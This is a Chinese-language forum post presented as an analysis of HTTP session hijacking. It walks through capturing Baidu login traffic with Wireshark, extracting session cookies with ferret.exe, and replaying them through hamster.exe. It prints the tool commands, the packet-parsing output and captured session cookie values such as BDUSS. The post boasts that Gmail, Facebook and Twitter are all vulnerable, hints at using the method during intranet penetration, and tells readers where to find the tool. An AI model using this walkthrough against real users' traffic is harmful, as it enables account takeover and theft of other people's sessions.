【技術分析】Session劫持 - Hamster.exe (你懂的!)

1. 此為本人備份文章用途，學術用途。各位高手勿噴

複製代碼

1. 作者:黑客

複製代碼

1. 作者的信箱[email protected]

複製代碼

前言:
會話劫持(S​​ession hijacking),是一種網絡攻擊手段,黑客可以通過破壞已建立的數據流而實現劫持.常見的有:SMB會話劫持中間人攻擊和本文要寫的HTTP Session Hijacking
Web應用程序是通過2種方式來判斷和跟踪不同用戶的:Cookie或者Session(也叫做會話型Cookie).其中Cookie是存儲在本地計算機上的,過期時間很長,所以針對Cookie的攻擊手段一般是盜取用戶Cookie然後偽造Cookie冒充該用戶;而Session由於其存在於服務端,隨著會話的註銷而失效(很快過期),往往難於利用.所以一般來說Session認證較之Cookie認證安全.

如果你關注Web安全,相信你一定看到過記錄跨站得到Cookie的腳本程序,我們也需要一個類似的程序,但功能不是記錄,而是立即轉發(因為當前會話隨時可能由於管理員退出而失效)

攻擊:
簡單的做下演示吧,我們打開百度搜索"去哪裡捐精",然後登錄,中間用Wireshark抓取數據.

Wireshark抓取的數據,百度的登錄是HTTPS的...

停止Wireshark作業,把數據庫保存下來

然後分析數據包:

1. C:\Documents and Settings\brk>cd \
   
2. C:\>cd sidejacking
   
3. C:\sidejacking>dir
   
4. 驅動器 C 中的捲沒有標籤。
   
5. 卷的序列號是 0031-2EC7
   
6. C:\sidejacking 的目錄
   
7. 2012-02-06 16:53 <DIR> .
   
8. 2012-02-06 16:53 <DIR> ..
   
9. 2012-02-06 16:53 146,103 baidu.pcap
   
10. 2007-08-08 22:37 172,093 ferret.exe
    
11. 2007-08-08 23:41 401,408 hamster-help.doc
    
12. 2007-08-08 22:52 77,824 hamster.exe
    
13. 2007-08-08 23:42 695 readme.txt
    
14. 5 個文件 798,123 字節
    
15. 2 個目錄 17,093,853,184 可用字節
    
16. 
    
17. C:\sidejacking>ferret.exe -r baidu.pcap
    
18. -- FERRET 1.1.3 - 2007 (c) Errata Security
    
19. -- build = Aug 8 2007 22:37:48 (32-bits)
    
20. -- WinPcap version 4.1.2 (packet.dll version 4.1.0.2001), based on libpcap versi
    
21. on 1.0 branch 1_0_rel0b (20091008)
    
22. proto="HTTP", op="POST", Host="ocsp.verisign.com", URL="/"
    
23. ID-IP=[192.1.1.5], User-Agent="Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/2010
    
24. 0101 Firefox/6.0.2"
    
25. proto="HTTP", op="GET", Host="www.baidu.com", URL="/cache/user/j.html?callback=b
    
26. dLoginReply&error=0&un=dis9teama2&needToModifyPassword=0&index="
    
27. ---------- 省略 ----------------
    
28. TEST="icmp", type=130, code=0
    
29. ID-MAC=[6a:47:c5:af:3b:a9], ipv6=[FE8:6847:C5FF:FEAF:3BA9]
    
30. TEST="icmp", type=131, code=0
    
31. ID-IP=[192.1.1.1], Multicast-groups=[224.0.0.251], groupname="mDNS"
    
32. ID-IP=[192.1.1.1], macaddr=[6a:47:c5:af:3b:a9]
    
33. ID-MAC=[6a:47:c5:af:3b:a9], ip=[192.1.1.1]
    
34. ID-IP=[192.1.1.5], macaddr=[08:08:27:00:00:04]
    
35. ID-MAC=[08:08:27:00:00:04], ip=[192.1.1.5]
    
36. proto="DNS", query="A", ip.src=[192.1.1.5], name="safebrowsing.clients.google.co
    
37. m"
    
38. ID-DNS="safebrowsing.clients.google.com", address=[203.208.45.200]
    
39. proto="HTTP", op="POST", Host="safebrowsing.clients.google.com", URL="/safebrows
    
40. ing/downloads?client=navclient-auto-ffox&appver=6.0.2&pver=2.2&wrkey=AKEgNis1mHM
    
41. HmaKiWTHg9385w-2XbYzMu2ppI64um3IE3INLRvIVXaeafa9xwDwGKhOpWlGfeOAmW-2_98OxvzPCaAA
    
42. bHymnTA=="
    
43. proto="HTTP", op="POST", Host="safebrowsing.clients.google.com", URL="/safebrows
    
44. ing/downloads?client=navclient-auto-ffox&appver=6.0.2&pver=2.2&wrkey=AKEgNis1mHM
    
45. HmaKiWTHg9385w-2XbYzMu2ppI64um3IE3INLRvIVXaeafa9xwDwGKhOpWlGfeOAmW-2_98OxvzPCaAA
    
46. bHymnTA==", cookie="PREF=ID=0889b5d602ad153d:TM=1327858580:LM=1327858580:S=7ENYg
    
47. UTv-2SxxSfI"
    
48. ERROR: 12 TCP sessions remaining
    
49. -- graceful exit --C:\sidejacking>

複製代碼

查看一下:

1. C:\sidejacking>type hamster.txt
   
2. Instance: 192.1.1.5
   
3. Domain: www.baidu.com
   
4. Path: /img/bg-1.0.0.gif
   
5. Name: BDRCVFR[feWj1Vr5u3D]
   
6. Value: mk3SLVN4HKmInstance: 192.1.1.5
   
7. Domain: www.baidu.com
   
8. Path: /img/bg-1.0.0.gif
   
9. Name: BDUSS
   
10. Value: lZtM35OMFV3Vmlac3RadDVPRkMtN3VUblNOTEFyLVVUNkJwRzg2U3RMY35JVmRQQVFBQUFBJC
    
11. QAAAAAAAAAAAokNx~1KBEiZGlzOXRlYW1hMgAAAAAAAAAAAAAAAAAAAAAAAAAAAADgaqV3AAAAAOBqpX
    
12. cAAAAAuWZCAAAAAAAxMC42NS4yND-UL08~lC9PN
    
13. Instance: 192.1.1.5
    
14. Domain: sclick.baidu.com
    
15. URL: /w.gif?q=%C8%A5%C4%C4%C0%EF%BE%E8%BE%AB&fm=se&T=1328518207&y=B697BB7B&rsv_s
    
16. id=&cid=0&qid=f89d105a3a8bc344&t=1328518206191&path=http://www.baidu.com/s?tn=ba
    
17. iduhome_pg&bs=%C8%A5%C4%C4%C0%EF%BE%E8%BE%AB&f=8&rsv_bp=1&rsv_spt=1&wd=%C8%A5%C4
    
18. %C4%C0%EF%BE%E8%BE%AB&inputT=0
    
19. Instance: 192.1.1.5
    
20. Domain: sclick.baidu.com
    
21. Path: /w.gif
    
22. Name: BAIDUID
    
23. Value: ECB37687505C6070870B5FB57225FC9F:FG=1
    
24. Instance: 192.1.1.5
    
25. Domain: sclick.baidu.com
    
26. Path: /w.gif
    
27. Name: USERID
    
28. Value: 9138e533b29069686f6a40eea5a0
    
29. Instance: 192.1.1.5
    
30. Domain: sclick.baidu.com
    
31. Path: /w.gif
    
32. Name: BDUSS
    
33. Value: lZtM35OMFV3Vmlac3RadDVPRkMtN3VUblNOTEFyLVVUNkJwRzg2U3RMY35JVmRQQVFBQUFBJC
    
34. QAAAAAAAAAAAokNx~1KBEiZGlzOXRlYW1hMgAAAAAAAAAAAAAAAAAAAAAAAAAAAADgaqV3AAAAAOBqpX
    
35. cAAAAAuWZCAAAAAAAxMC42NS4yND-UL08~lC9PN
    
36. Instance: 192.1.1.5
    
37. Domain: share.baidu.com
    
38. URL: /getsharenum?urls=17635117033309872305,10208434038914845615,773404566211563
    
39. 5970,14112981830656847623,10579579571799392765,1504773221644295271,6909886647770
    
40. 200532,8103579361075969711,5354724657123971587,9342892217666920821&callback=bds.
    
41. se.like.giveData
    
42. Instance: 192.1.1.5
    
43. Domain: share.baidu.com
    
44. Path: /getsharenum
    
45. Name: BAIDUID
    
46. Value: ECB37687505C6070870B5FB57225FC9F:FG=1Instance: 192.1.1.5
    
47. Domain: share.baidu.com
    
48. Path: /getsharenum
    
49. Name: USERID
    
50. Value: 9138e533b29069686f6a40eea5a0

複製代碼

:-) 效果不錯 啟動 hamster.exe 開始劫持

現在打開瀏覽器設置代理詳細閱讀hamster.exe說明

然後輸入 http://hamster/ 查看劫持數據~~

打開其中的鏈接:發現我已經劫持啦~~

結果測試Gmail、FaceBook、Twitter(推特)等等通殺......

擴展攻擊:
在你內網滲透的時候...你懂的!

想要入侵工具，請在Google搜尋: hamster.exe

可參考:
http://en.wikipedia.org/wiki/Session_hijacking
https://www.owasp.org/index.php/Session_hijacking_attack